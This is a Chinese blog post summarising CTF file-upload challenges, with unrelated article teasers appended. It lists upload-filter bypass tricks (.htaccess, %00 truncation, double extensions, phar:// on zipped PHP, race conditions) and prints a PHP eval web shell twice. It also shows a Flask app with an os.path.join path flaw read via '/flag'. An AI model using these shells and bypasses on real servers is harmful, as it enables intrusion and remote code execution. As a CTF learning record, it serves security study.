ctf文件上传题小总结与记录

解题思路:先看中间件,文件上传点(字典扫描,会员中心),绕过/验证(黑名单,白名单),解析漏洞,cms,编辑器,最新cve

文件上传漏洞一般危害高

先看中间件,看有没有已经公布的漏洞,找文件上传点,试它的验证模式(黑白名单,后缀名,文件类型(MIME),文件头(png等文件有固定文件头))

  • 看能不能上传.htaccess文件,将其他类型的文件作为php执行,配合图片马
  • 对应中间件,查看是否有解析漏洞(四种)
  • ::$DATA会把之后的数据当成文件流处理,不会检测后缀名,且保持'::$DATA'之前的文件名;
  • 查看是否有二次渲染,先上传再验证再二次上传,二次渲染配合条件竞争,在文件第一次上传后迅速访问第一次上传地址,让其不能进行后续重命名验证上传操作,实现木马后门的植入。
  • 数据溢出:插入大量垃圾数据,绕过验证
  • 符号变异:利用” ’ ;等符号如"1.php"x"x.php 绕过验证上传。
  • 数据截断:%00:x.php%00.jpg,将%00进行手工url编码
  • 数据截断:换行,如"x.(换行)p(换行)h(换行)p”
  • 重复数据:重复写filename数据

上传x.php,用重复数据迷惑验证,实际上filename仍是x.php

上传jpeg;x.php,绕过验证,/也可以作为一个条件绕过

  • 可上传zip文件,phar伪协议对压缩的php进行读取
  • os.path.join()函数存在绝对路径拼接漏洞,如file_path = os.path.join(“var”, “lib”, filename),可访问任意文件
  • burp加字典爆破绕过

[MoeCTF 2022]what are y0u uploading?

文件上传

有源码,感觉应该不会很难,是个白名单绕过

没经过代理,直接执行了

传一个jpg上去,这次抓到包了,在这上面改,好像就不用经过第一个验证了

这咋办,偷偷去看一眼wp

什么!!!是f1ag.php

结束

总结:一道很简单的题目,小心掉坑

[NISACTF 2022]bingdundun~

phar执行php压缩文件 文件上传 PHP伪协议 PHP

phar://

主要是用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用,或者进行进阶的phar反序列化攻击

只能上传图片或压缩包格式

将内容为

<?php
phpinfo();
@eval($_POST['cmd']);
?>

的putin.php文件压缩成zip文件,上传。

用phar://伪协议访问上传的文件

能够执行,用蚁剑连接

得到flag

总结:遇到可上传压缩文件的文件上传题,可将php文件压缩后上传,用phar读取来执行后门

[UUCTF 2022 新生赛]ez_upload

文件上传,Apache HTTPD 多后缀解析漏洞

此漏洞与版本无关,是因为用户配置存在漏洞

访问之后连蚁剑进入后台

总结:看到中间件为apache的文件上传题可以试一下1.jpg.php的格式。

[NISACTF 2022]babyupload

标签:文件上传,Python,Flask

os.path.join()函数存在绝对路径拼接漏洞

得到一个python文件

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuidapp = Flask(__name__)SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""def db():g_db = getattr(g, '_database', None)if g_db is None:g_db = g._database = sqlite3.connect("database.db")return g_db@app.before_first_request
def setup():os.remove("database.db")cur = db().cursor()cur.executescript(SCHEMA)@app.route('/')
def hello_world():return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">Select image to upload:<input type="file" name="file"><input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""@app.route('/source')
def source():return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)@app.route('/upload', methods=['POST'])
def upload():if 'file' not in request.files:return redirect('/')file = request.files['file']if "." in file.filename:return "Bad filename!", 403conn = db()cur = conn.cursor()uid = uuid.uuid4().hextry:cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))except sqlite3.IntegrityError:return "Duplicate file"conn.commit()file.save('uploads/' + file.filename)return redirect('/file/' + uid)@app.route('/file/<id>')
def file(id):conn = db()cur = conn.cursor()cur.execute("select path from files where id=?", (id,))res = cur.fetchone()if res is None:return "File not found", 404# print(res[0])with open(os.path.join("uploads/", res[0]), "r") as f:return f.read()if __name__ == '__main__':app.run(host='0.0.0.0', port=80)

将文件名改成/flag,访问返回网址后得到flag

原理:os.path.join()函数存在绝对路径拼接漏洞

os.path.join(path,*path)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当做组件拼接到基础路径之后。

然而,如果拼接的路径以/开头,那么包括基础路径在内的所有前缀路径将会被删除,该路径被视为绝对路径,造成任意文件读取漏洞。

file_path = os.path.join(“var”, “lib”, filename)

如果攻击者传入的文件名参数为”/a/b/c.txt“,那么 file_path 会是一个绝对路径(/a/b/c.txt)。即 os.path.join 会忽略掉”var/lib“部分,攻击者可以不使用“.”字符就读取到任何文件。

[WUSTCTF 2020]CV Maker

标签:文件上传图片马

随便注册一个账号

进入此页面

找到上传点了

发现这样就行

在末尾写入

<?php
phpinfo();
@eval($_POST['cmd']);
?>

拖拉图片访问图片地址,发现php被执行

蚁剑连接

????!!!我flag呢?谁偷了

服了,原来phpinfo()里就有

ctrl+f查找flag

 总结:简单的文件上传,让我找回了自信

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/58976.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

nginx上传文件超过限制大小、响应超时、反向代理请求超时等问题解决

1、文件大小超过限制 相关配置&#xff1a; client_max_body_size&#xff1a; Syntax:client_max_body_size size;Default:client_max_body_size 1m;Context:http, server, location 2、连接超时: proxy_read_timeout&#xff1a; Syntax:proxy_read_timeout time;Default…

11.02学习

一、获取字符串的方法 1. 使用 scanf 函数&#xff1a; scanf 函数可以用来从标准输入&#xff08;通常是键盘&#xff09;读取格式化的输入。例如&#xff1a; char str[100]; scanf("%s", str); 这会读取一个字符串直到遇到空格、制表符或换行符。 2. 使用 g…

00-开发环境 MPLAB IDE 配置

MPLAB IDE V8.83 File 菜单简介 New (CtrlN)&#xff1a; 创建一个新文件&#xff0c;用于编写新的代码。 Add New File to Project...&#xff1a; 将新文件添加到当前项目中。 Open... (CtrlO)&#xff1a; 打开现有文件。 Close (CtrlE)&#xff1a; 关闭当前打开的文件。 …

基于BP神经网络的手写体数字图像识别

基于BP神经网络的手写体数字图像识别 摘要 在信息化飞速发展的时代&#xff0c;光学字符识别是一个重要的信息录入与信息转化的手段&#xff0c;其中手写体数字的识别有着广泛地应用&#xff0c;如&#xff1a;邮政编码、统计报表、银行票据等等&#xff0c;因其广泛地应用范围…

vite和webpack

✨create-vite 和 vue-cli的区别 create-vite 和 vue-cli 都是 Vue 项目的脚手架工具&#xff0c;但它们在架构、构建速度、配置灵活性、插件生态等方面有明显的差异。 1. 基础架构和构建工具 create-vite&#xff1a;基于 Vite&#xff0c;使用原生 ES 模块&#xff08;ESM&…

鸿蒙进阶篇-Swiper组件的使用

“在科技的浪潮中&#xff0c;鸿蒙操作系统宛如一颗璀璨的新星&#xff0c;引领着创新的方向。作为鸿蒙开天组&#xff0c;今天我们将一同踏上鸿蒙基础的探索之旅&#xff0c;为您揭开这一神奇系统的神秘面纱。” 各位小伙伴们我们又见面了,我就是鸿蒙开天组,下面让我们进入今…

Ubuntu删除docker

文章目录 安装依赖1.安装操作系统&#xff1a;2.CPU支持 安装docker1.查看系统版本2.执行卸载 安装依赖 1.安装操作系统&#xff1a; 高于 Ubuntu 20.04(LTS) 版本 2.CPU支持 ARM和X86_64 安装docker 1.查看系统版本 cat /etc/*releas*uname -a2.执行卸载 检查本地dock…

【机器学习】23. 聚类-GMM: Gaussian Mixture Model

1. 定义和假设 定义&#xff1a;probabilistic clustering&#xff08;model-base&#xff09; 假设&#xff1a;数据服从正态分布 2. 算法内容 我们假设数据是由k个高斯&#xff08;正态&#xff09;分布混合生成的。每个分布有2个参数&#xff1a;μ和σ。 一个分布对应一…

【系统设计】深入理解HTTP缓存机制:从Read-Through缓存到HTTP缓存的交互流程

在现代Web开发中&#xff0c;缓存机制扮演着至关重要的角色。它不仅提升了用户体验&#xff0c;还极大地优化了资源的使用效率。在这篇博文中&#xff0c;我们将从“Read-Through”缓存的概念出发&#xff0c;深入探讨HTTP缓存的工作原理和交互流程&#xff0c;并详细描述max-a…

四款主流的3D创作和游戏开发软件的核心特点和关系

四款主流的3D创作和游戏开发软件的核心特点和关系 3D建模软件&#xff1a; Blender&#xff1a; 开源免费&#xff0c;功能全面优点&#xff1a; 完全免费持续更新优化社区活跃&#xff0c;学习资源丰富功能全面(建模、动画、渲染等) 缺点&#xff1a; 学习曲线陡峭界面操作…

Spring Cloud Ribbon:负载均衡的服务调用

Spring Cloud Ribbon&#xff1a;负载均衡的服务调用 Spring Cloud Ribbon 是Spring Cloud Netflix 子项目的核心组件之一&#xff0c;主要给服务间调用及API网关转发提供负载均衡的功能&#xff0c;本文将对其用法进行详细介绍 Ribbon简介 Ribbon 是 Netflix 公司开源的一个用…

Python中模块与包

1. 模块 在Python中&#xff0c;模块是一个包含Python代码的文件&#xff0c;可以包含函数、类和变量。模块使得代码的组织和复用变得更简单。 导入模块 使用import语句可以导入模块。常用的标准库模块包括math和random。 示例&#xff1a;使用math和random模块 import ma…

Node.js:Express 服务 路由

Node.js&#xff1a;Express 服务 & 路由 创建服务处理请求req对象 静态资源托管托管多个资源挂载路径前缀 路由模块化 Express是Node.js上的一个第三方框架&#xff0c;可以快速开发一个web框架。本质是一个包&#xff0c;可以通过npm直接下载。 创建服务 Express创建一…

TensorRT-LLM的k8s弹性伸缩部署方案

Scaling LLMs with NVIDIA Triton and NVIDIA TensorRT-LLM Using Kubernetes | NVIDIA Technical Blog 一共涉及4个k8s组件&#xff1a; 1. Deployment&#xff1a;跑起来N个pod&#xff1b;指定NVIDIA官方的triton&trt-llm的docker image&#xff0c;指定好model放在哪个…

运维监控丨16条常用的Kafka看板监控配置与告警规则

本期我们针对企业运维监控的场景&#xff0c;介绍一些监控配置和告警规则。可以根据Kafka集群和业务的具体要求&#xff0c;灵活调整和扩展这些监控配置及告警规则。在实际应用场景中&#xff0c;需要综合运用多种监控工具&#xff08;例如Prometheus、Grafana、Zabbix等&#…

《基于数据库数据的迁移学习应用》

《基于数据库数据的迁移学习应用》 一、引言二、迁移学习概述&#xff08;一&#xff09;迁移学习的定义和原理&#xff08;二&#xff09;迁移学习的分类&#xff08;三&#xff09;迁移学习的优势 三、数据库的类型与特点&#xff08;一&#xff09;关系型数据库&#xff08;…

Dockerfile制作Oracle19c镜像

Dockerfile文件 cat > Dockerfile << EOF # 使用 Oracle Linux 8 作为基础镜像 FROM oraclelinux:8# 复制 Oracle 19c 安装包 COPY oracle-database-ee-19c-1.0-1.x86_64.rpm /tmp/# 安装 Oracle 19c 数据库和依赖 RUN yum localinstall -y /tmp/oracle-database-ee-…

6.0、静态路由

路由器最主要的功能就是转发数据包。路由器转发数据包时需要查找路由表&#xff08;你可以理解为地图&#xff09;&#xff0c;管理员可以直接手动配置路由表&#xff0c;这就是静态路由。 1.什么是路由&#xff1f; 在网络世界中&#xff0c;路由是指数据包在网络中的传输路…

Java如何实现企业微信审批流程

大家好&#xff0c;我是 V 哥。最近的一个项目中&#xff0c;用到企业微信的审批流程&#xff0c;整理出来分享给大家。在企业微信中实现审批流程可以通过调用企业微信的开放API完成&#xff0c;企业微信提供了审批应用接口&#xff0c;用于创建审批模板、发起审批流程以及获取…

4. 类和对象(下)

1. 初始化列表 • 之前我们实现构造函数时&#xff0c;初始化成员变量主要使⽤函数体内赋值&#xff0c;构造函数初始化还有⼀种⽅ 式&#xff0c;就是初始化列表&#xff0c;初始化列表的使⽤⽅式是以⼀个冒号开始&#xff0c;接着是⼀个以逗号分隔的数据成 员列表&#xff0c…